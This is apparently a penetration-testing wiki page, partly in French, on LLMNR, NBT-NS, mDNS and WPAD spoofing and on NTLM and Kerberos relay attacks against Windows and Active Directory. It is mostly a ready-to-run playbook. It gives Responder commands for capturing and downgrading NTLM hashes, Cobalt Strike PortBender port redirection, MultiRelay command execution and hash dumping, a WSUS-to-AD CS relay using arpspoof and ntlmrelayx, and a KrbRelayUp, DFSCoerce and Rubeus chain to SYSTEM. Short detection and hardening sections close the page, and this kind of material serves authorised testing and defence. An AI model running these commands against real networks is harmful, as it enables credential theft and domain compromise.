Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 15 minutes

Protocoles réseau

Protocoles de résolution des noms locaux

• LLMNR, NBT-NS, and mDNS:
• Microsoft et d'autres systèmes d'exploitation utilisent LLMNR et NBT-NS pour la résolution de noms locaux lorsque DNS échoue. De même, les systèmes Apple et Linux utilisent mDNS.
• Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature broadcast non authentifiée sur UDP.
• Responder peut être utilisé pour usurper des services en envoyant des réponses falsifiées aux hôtes interrogeant ces protocoles.
• Des informations complémentaires sur l'usurpation de services avec Responder sont disponibles here.

Protocole de découverte automatique de proxy Web (WPAD)

• WPAD permet aux navigateurs de découvrir automatiquement les paramètres de proxy.
• La découverte se fait via DHCP, DNS, ou en secours via LLMNR et NBT-NS si DNS échoue.
• Responder peut automatiser les attaques WPAD, redirigeant les clients vers des serveurs WPAD malveillants.

Responder pour le Protocol Poisoning

• Responder est un outil utilisé pour empoisonner les requêtes LLMNR, NBT-NS et mDNS, répondant sélectivement selon les types de requêtes, ciblant principalement les services SMB.
• Il est préinstallé sur Kali Linux et configurable dans /etc/responder/Responder.conf.
• Responder affiche les hashes capturés à l'écran et les enregistre dans le répertoire /usr/share/responder/logs.
• Il prend en charge IPv4 et IPv6.
• Une version Windows de Responder est disponible here.

Exécution de Responder

• Pour lancer Responder avec les paramètres par défaut : responder -I <Interface>
• Pour un probing plus agressif (avec effets secondaires potentiels) : responder -I <Interface> -P -r -v
• Techniques pour capturer des challenges/ réponses NTLMv1 afin de faciliter le cracking : responder -I <Interface> --lm --disable-ess
• L'usurpation WPAD peut être activée avec : responder -I <Interface> --wpad
• Les requêtes NetBIOS peuvent être résolues vers l'IP de l'attaquant, et un proxy d'authentification peut être mis en place : responder.py -I <interface> -Pv

DHCP Poisoning avec Responder

• Spoofing des réponses DHCP peut empoisonner de façon permanente les informations de routage d'une victime, offrant une alternative plus discrète à l'ARP poisoning.
• Cela nécessite une connaissance précise de la configuration du réseau cible.
• Lancer l'attaque : ./Responder.py -I eth0 -Pdv
• Cette méthode peut capturer efficacement des hashes NTLMv1/2, mais elle nécessite une manipulation prudente pour éviter de perturber le réseau.

Capture des identifiants avec Responder

• Responder va usurper des services en utilisant les protocoles mentionnés ci-dessus, capturant des identifiants (généralement NTLMv2 Challenge/Response) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
• Des tentatives peuvent être faites pour downgrader vers NetNTLMv1 ou désactiver ESS afin de faciliter le cracking des identifiants.

Il est crucial de noter que l'emploi de ces techniques doit se faire légalement et de manière éthique, en obtenant les autorisations appropriées et en évitant toute perturbation ou accès non autorisé.

Inveigh

Inveigh est un outil pour penetration testers and red teamers, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, réalisant du spoofing et des attaques man-in-the-middle. L'outil a évolué d'un script PowerShell vers un binaire C#, avec Inveigh et InveighZero comme principales versions. Les paramètres détaillés et les instructions se trouvent dans le wiki.

Inveigh peut être opéré via PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou exécuté en tant que C# binary:

Inveigh.exe

NTLM Relay Attack

Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, octroyant un shell système si elle réussit. Les prérequis clés sont :

• L'utilisateur s'authentifiant doit avoir un accès Local Admin sur l'hôte relayé.
• La signature SMB doit être désactivée.

445 Port Forwarding and Tunneling

Dans les scénarios où une introduction directe sur le réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelisé. Des outils comme PortBender aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès Local Admin est disponible pour le chargement d'un driver.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Autres outils pour NTLM Relay Attack

• Metasploit: Configuré avec des proxies, les détails des hôtes locaux et distants.
• smbrelayx: un script Python pour relayer des sessions SMB et exécuter des commandes ou déployer des backdoors.
• MultiRelay: un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes, ou dump hashes.

Chaque outil peut être configuré pour fonctionner via un SOCKS proxy si nécessaire, permettant des attaques même avec un accès réseau indirect.

Fonctionnement de MultiRelay

MultiRelay est exécuté depuis le /usr/share/responder/tools répertoire, en ciblant des IPs ou des utilisateurs spécifiques.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Ces outils et techniques forment un ensemble complet pour réaliser des NTLM Relay attacks dans divers environnements réseau.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

Les clients WSUS s'authentifient auprès de leur serveur de mise à jour en utilisant NTLM sur HTTP (8530) ou HTTPS (8531). Lorsque HTTP est activé, les check-ins périodiques des clients peuvent être forcés ou interceptés sur le segment local et relayés avec ntlmrelayx vers des endpoints LDAP/LDAPS/SMB ou AD CS HTTP (ESC8) sans casser de hashes. Cela se fond dans le trafic de mise à jour normal et donne fréquemment des authentifications de comptes machine (HOST$).

What to look for

• GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
• WUServer (e.g., http://wsus.domain.local:8530)
• WUStatusServer (reporting URL)
• UseWUServer (1 = WSUS; 0 = Microsoft Update)
• DetectionFrequencyEnabled and DetectionFrequency (hours)
• WSUS SOAP endpoints used by clients over HTTP:
• /ClientWebService/client.asmx (approvals)
• /ReportingWebService/reportingwebservice.asmx (status)
• Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

• Unauthenticated
• Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
• Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
• Authenticated
• Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
• Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

1. Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

2. Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

3. Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Other common targets:

• Relay to SMB (if signing off) for exec/dump: -t smb://
• Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
• Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

4. Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

5. Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).

HTTPS constraint (8531)

• Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.

Notes

• WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
• Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
• Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).

Force NTLM Logins

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos basics

• Les tickets sont chiffrés avec la clé dérivée du mot de passe du compte qui possède le SPN.
• L'Authenticator à l'intérieur de l'AP-REQ contient un horodatage de 5 minutes ; un replay dans cette fenêtre est valide jusqu'à ce que le cache du service détecte un doublon.
• Windows vérifie rarement si la chaîne SPN dans le ticket correspond exactement au service que vous ciblez, donc un ticket pour CIFS/HOST se décryptera normalement correctement sur LDAP/HOST.

• 2. What must be true to relay Kerberos

1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

• 3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Démarrer le relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp regroupe KrbRelay → LDAP → RBCD → Rubeus → SCM bypass dans un seul binaire.

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce force le DC à nous envoyer un ticket Kerberos CIFS/DC01.

• 3.4 Relay the AP-REQ

KrbRelay extrait le blob GSS de SMB, le reconditionne dans un bind LDAP, et le transfère vers ldap://DC01—l'authentification réussit parce que la même clé le déchiffre.

• 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Vous possédez maintenant NT AUTHORITY\SYSTEM.

Autres chemins utiles à connaître

Dépannage

Détection

• Augmentation soudaine d'Event 4769 pour CIFS/, HTTP/, LDAP/ provenant de la même source en quelques secondes.
• Event 4649 sur le service indique un rejeu détecté.
• Connexion Kerberos depuis 127.0.0.1 (relai vers le SCM local) est hautement suspecte — corréler via la règle Sigma dans les docs KrbRelayUp.
• Surveiller les modifications des attributs msDS-AllowedToActOnBehalfOfOtherIdentity ou msDS-KeyCredentialLink.

Durcissement

1. Appliquer la signature LDAP & SMB + EPA sur chaque serveur.
2. Séparer les SPN pour que HTTP ne soit pas sur le même compte que CIFS/LDAP.
3. Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
4. Définir ms-DS-MachineAccountQuota = 0 pour empêcher les jonctions d'ordinateurs non autorisés.
5. Alerter sur Event 4649 et les connexions Kerberos en loopback inattendues.

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
• WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
• GoSecure – Abusing WSUS to enable NTLM relaying attacks
• Impacket PR #2034 – Restore HTTP server in ntlmrelayx
• Impacket PR #913 – HTTP relay support
• WSUScripts – wsusniff.py
• WSUScripts – wsuspider.sh
• MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
• Microsoft – WSUS deprecation announcement